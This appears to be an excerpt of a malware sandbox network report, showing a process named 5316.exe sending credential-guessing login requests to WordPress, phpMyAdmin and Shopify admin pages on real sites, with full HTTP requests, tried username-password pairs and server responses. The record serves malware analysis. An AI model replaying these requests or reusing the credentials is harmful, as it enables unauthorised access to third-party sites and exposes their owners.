2023-12-20 02:13:39 UTC	14663	IN	Data Raw: 63 6c 61 73 73 3d 22 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 20 68 61 73 2d 69 63 6f 6e 2d 63 6f 6c 6f 72 20 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 20 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 63 65 6e 74 65 72 20 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 20 77 70 2d 63 6f 6e 74 61 69 6e 65 72 2d 36 20 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 2d 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 22 3e 3c 6c 69 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 39 33 30 30 32 37 3b 20 22 20 63 6c 61 73 73 3d 22 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 20 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 69 6e 73 74 61 67 72 61 6d 20 68 61 73 2d 74 68 65 6d 65 2d 70 72 69 6d 61 Data Ascii: class="wp-block-social-links has-icon-color is-style-logos-only is-content-justification-center is-layout-flex wp-container-6 wp-block-social-links-is-layout-flex"><li style="color: #930027; " class="wp-social-link wp-social-link-instagram has-theme-prima

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.4	50340	108.163.227.170	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	352	OUT	POST /wp-login.php HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://activegraphics.com/wp-login.php Content-Length: 136 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:38 UTC	136	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 26 70 77 64 3d 70 61 73 73 31 32 33 34 25 32 36 25 32 36 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 63 74 69 76 65 67 72 61 70 68 69 63 73 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=admin&pwd=pass1234%26%26&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Factivegraphics.com%2Fwp-admin%2F&testcookie=1
2023-12-20 02:13:38 UTC	352	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:38 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:38 UTC	5701	IN	Data Raw: 31 36 33 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 Data Ascii: 1638<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Active Graphics — WordPress</title><meta name='robots' content='max-image-preview:large, noindex, noa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.4	50378	23.227.38.74	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	181	OUT	GET /admin HTTP/1.1 Host: artusopastry.myshopify.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	1341	IN	HTTP/1.1 303 See Other Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 Referrer-Policy: origin-when-cross-origin X-Frame-Options: DENY X-ShopId: 1584544 X-ShardId: 312 Cache-Control: no-store Location: https://artusopastry.myshopify.com/admin/auth/login Strict-Transport-Security: max-age=7889238 Server-Timing: processing;dur=16 X-Shopify-Stage: production Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://; connect-src 'self' wss:// https://; frame-ancestors 'none'; frame-src 'self' https:// shopify-pos://*; img-src 'self' data: blob: https:; script-src https://cdn.shopify.com https://cdn.shopifycdn.net https://checkout.shopifycs.com https://api.stripe.com https://mpsnare.iesnare.com https://appcenter.intuit.com https://www.paypal.com https://js.braintreegateway.com https://c.paypal.com https://maps.googleapis.com https://www.google-analytics.com https://v.shopify.com 'self' 'unsafe-inline' 'unsafe-eval'; upgrade-insecure-requests; report-uri /csp-report?source%5Baction%5D=index&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fhome&source%5Bsection%5D=admin&source%5Buuid%5D=68983a8a-49ab-4c5f-8e83-3cc923e505c7
2023-12-20 02:13:38 UTC	864	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 58 2d 44 6f 77 6e 6c 6f 61 64 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 6f 70 65 6e 0d 0a 58 2d 50 65 72 6d 69 74 74 65 64 2d 43 72 6f 73 73 2d 44 6f 6d 61 69 6e 2d 50 6f 6c 69 63 69 65 73 3a 20 6e 6f 6e 65 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 3b 20 72 65 70 6f 72 74 3d 2f 78 73 73 2d 72 65 70 6f 72 74 3f 73 6f 75 72 63 65 25 35 42 61 63 74 69 6f 6e 25 35 44 3d 69 6e 64 65 78 26 73 6f 75 72 63 65 25 35 42 61 70 70 25 35 44 3d 53 68 6f 70 69 66 79 26 73 6f 75 72 63 65 25 35 42 63 6f 6e 74 72 6f 6c 6c 65 72 25 35 44 3d 61 64 6d 69 6e 25 32 46 68 6f 6d 65 26 73 6f 75 72 63 65 25 35 42 73 65 63 74 69 6f 6e Data Ascii: X-Content-Type-Options: nosniffX-Download-Options: noopenX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=index&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fhome&source%5Bsection
2023-12-20 02:13:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.4	50349	66.96.160.139	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	171	OUT	GET /admin/ HTTP/1.1 Host: ads-ecuador.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	222	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache/2 Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Age: 0
2023-12-20 02:13:38 UTC	867	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.4	50429	23.227.38.74	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	178	OUT	GET /admin HTTP/1.1 Host: eco-child.myshopify.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	1369	IN	HTTP/1.1 303 See Other Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 60 X-Sorting-Hat-ShopId: 7475083 Referrer-Policy: origin-when-cross-origin X-Frame-Options: DENY X-ShopId: 7475083 X-ShardId: 60 Cache-Control: no-store Location: https://eco-child.myshopify.com/admin/auth/login Strict-Transport-Security: max-age=7889238 Server-Timing: processing;dur=23 X-Shopify-Stage: production Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://; connect-src 'self' wss:// https://; frame-ancestors 'none'; frame-src 'self' https:// shopify-pos://*; img-src 'self' data: blob: https:; script-src https://cdn.shopify.com https://cdn.shopifycdn.net https://checkout.shopifycs.com https://api.stripe.com https://mpsnare.iesnare.com https://appcenter.intuit.com https://www.paypal.com https://js.braintreegateway.com https://c.paypal.com https://maps.googleapis.com https://www.google-analytics.com https://v.shopify.com 'self' 'unsafe-inline' 'unsafe-eval'; upgrade-insecure-requests; report-uri /csp-report?source%5Baction%5D=index&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fhome&source%5Bsection%5D=admin&source%5Buuid%5D=2ff06857-c065-4150-a182-1606edce4473 X-Content-Type-Options: nosniff
2023-12-20 02:13:38 UTC	837	IN	Data Raw: 58 2d 44 6f 77 6e 6c 6f 61 64 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 6f 70 65 6e 0d 0a 58 2d 50 65 72 6d 69 74 74 65 64 2d 43 72 6f 73 73 2d 44 6f 6d 61 69 6e 2d 50 6f 6c 69 63 69 65 73 3a 20 6e 6f 6e 65 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 3b 20 72 65 70 6f 72 74 3d 2f 78 73 73 2d 72 65 70 6f 72 74 3f 73 6f 75 72 63 65 25 35 42 61 63 74 69 6f 6e 25 35 44 3d 69 6e 64 65 78 26 73 6f 75 72 63 65 25 35 42 61 70 70 25 35 44 3d 53 68 6f 70 69 66 79 26 73 6f 75 72 63 65 25 35 42 63 6f 6e 74 72 6f 6c 6c 65 72 25 35 44 3d 61 64 6d 69 6e 25 32 46 68 6f 6d 65 26 73 6f 75 72 63 65 25 35 42 73 65 63 74 69 6f 6e 25 35 44 3d 61 64 6d 69 6e 26 73 6f 75 72 63 65 25 35 42 75 75 69 64 25 35 44 3d 32 66 66 30 36 38 Data Ascii: X-Download-Options: noopenX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=index&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fhome&source%5Bsection%5D=admin&source%5Buuid%5D=2ff068
2023-12-20 02:13:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.4	50580	104.21.20.204	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	784	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7wc%2B4v6rYOGEEnTrLVxNSO0UEWu9VH6EoyYdx4chPYE5TYaQOx%2B3mv4sdw8ffvDF5jdJa08J%2B0wXkshqblpMm9PZm4Gg4yXIJlBGTbNJFaOFjBw7uXmB0PfJ7h0RZVzO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845e04cef54c1e-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:39 UTC	585	IN	Data Raw: 31 35 33 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4d 61 6a 6f 72 4d 65 67 61 2e 63 6f 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 72 63 68 69 76 65 22 Data Ascii: 1532<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; MajorMega.com — WordPress</title><meta name="robots" content="max-image-preview:large, noindex, noarchive"
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 31 30 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 6f 67 69 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 6e 2e Data Ascii: dmin/css/forms.min.css?ver=6.3.2" media="all" /><link rel="stylesheet" id="l10n-css" href="https://majormega.com/wp-admin/css/l10n.min.css?ver=6.3.2" media="all" /><link rel="stylesheet" id="login-css" href="https://majormega.com/wp-admin/css/login.min.
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 77 6f 72 64 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 64 61 73 68 69 63 6f 6e 73 20 64 61 73 68 69 63 6f 6e 73 2d 76 69 73 69 62 69 6c 69 74 79 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 66 6f 72 67 65 74 6d 65 6e 6f 74 22 3e 3c 69 6e 70 75 74 20 6e 61 6d 65 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 20 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 69 64 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 20 76 61 6c 75 65 3d 22 66 6f 72 65 76 65 72 22 20 2f 3e 20 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 3e 52 65 6d 65 6d 62 65 72 20 4d 65 3c 2f 6c 61 62 65 6c 3e 3c 2f 70 3e 0a 3c 70 20 63 6c Data Ascii: word"><span class="dashicons dashicons-visibility" aria-hidden="true"></span></button></div></div><p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" /> <label for="rememberme">Remember Me</label></p><p cl
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 30 22 20 69 64 3d 22 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 2e 32 22 20 69 64 3d 22 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 Data Ascii: ript src="https://majormega.com/wp-includes/js/zxcvbn-async.min.js?ver=1.0" id="zxcvbn-async-js"></script><script src="https://majormega.com/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2" id="wp-polyfill-inert-js"></script><script src="h
2023-12-20 02:13:39 UTC	742	IN	Data Raw: 6d 69 6e 5c 2f 61 64 6d 69 6e 2d 61 6a 61 78 2e 70 68 70 22 7d 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 77 70 2d 75 74 69 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 69 64 3d 22 77 70 2d 75 74 69 6c 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 22 3e 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 65 39 65 39 61 62 34 36 62 32 22 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 Data Ascii: min\/admin-ajax.php"}};</script><script src="https://majormega.com/wp-includes/js/wp-util.min.js?ver=6.3.2" id="wp-util-js"></script><script id="user-profile-js-extra">var userProfileL10n = {"user_id":"0","nonce":"e9e9ab46b2"};</script><script src="
2023-12-20 02:13:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.4	50193	95.173.180.22	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	172	OUT	GET /admin.php HTTP/1.1 Host: london.com.tr Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	572	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=tkssg4tic2hek61lv9fl4fl3f6; path=/ Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: x-test-header, Origin, X-Requested-With, Content-Type, Accept Vary: Accept-Encoding,User-Agent
2023-12-20 02:13:39 UTC	7650	IN	Data Raw: 31 64 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 Data Ascii: 1dda<!DOCTYPE html><html><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge">
2023-12-20 02:13:39 UTC	13596	IN	Data Raw: 33 35 31 34 0d 0a 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 22 2e 67 6f 6e 64 65 72 77 70 22 29 2e 61 64 64 43 6c 61 73 73 28 22 72 65 73 74 61 72 74 22 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 24 28 27 23 77 70 5f 6d 65 73 73 61 67 65 27 29 2e 6b 65 79 70 72 65 73 73 28 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 65 2e 77 68 69 63 68 20 3d 3d 20 31 33 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 65 73 73 61 67 65 20 3d 20 24 28 27 23 77 70 5f 6d 65 73 73 61 67 65 27 29 2e 76 61 6c 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 27 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 68 61 74 73 61 70 70 2e 63 6f Data Ascii: 3514"); $(".gonderwp").addClass("restart"); } $('#wp_message').keypress(function(e) { if (e.which == 13) { var message = $('#wp_message').val(); window.open('https://api.whatsapp.co
2023-12-20 02:13:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.4	50714	172.67.181.211	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	378	OUT	POST /phpmyadmin/index.php HTTP/1.1 Host: entexclusives.com Accept: / Accept-Encoding: deflate, gzip Cookie: phpMyAdmin_https=5p41teplhp36o26j7uknhqhcqt; pma_lang_https=en User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://entexclusives.com/phpmyadmin/ Content-Length: 161 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:38 UTC	161	OUT	Data Raw: 73 65 74 5f 73 65 73 73 69 6f 6e 3d 35 70 34 31 74 65 70 6c 68 70 33 36 6f 32 36 6a 37 75 6b 6e 68 71 68 63 71 74 26 70 6d 61 5f 75 73 65 72 6e 61 6d 65 3d 65 6e 74 65 78 63 6c 75 73 69 76 65 73 26 70 6d 61 5f 70 61 73 73 77 6f 72 64 3d 53 59 31 31 42 47 25 32 41 26 73 65 72 76 65 72 3d 31 26 74 61 72 67 65 74 3d 69 6e 64 65 78 2e 70 68 70 26 6c 61 6e 67 3d 65 6e 26 74 6f 6b 65 6e 3d 32 39 35 34 34 32 34 31 36 39 36 61 33 36 34 66 33 31 34 34 37 36 34 63 34 35 36 33 37 64 35 63 Data Ascii: set_session=5p41teplhp36o26j7uknhqhcqt&pma_username=entexclusives&pma_password=SY11BG%2A&server=1&target=index.php&lang=en&token=29544241696a364f3144764c45637d5c
2023-12-20 02:13:39 UTC	1343	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: goto_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: back_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: phpMyAdmin_https=qb902hqb3lgjqtv9penr9cdpa7; path=/phpmyadmin/; secure; HttpOnly Set-Cookie: pmaAuth-1_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure X-ob_mode: 1 X-Frame-Options: DENY Referrer-Policy: no-referrer Content-Security-Policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-WebKit-CSP: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 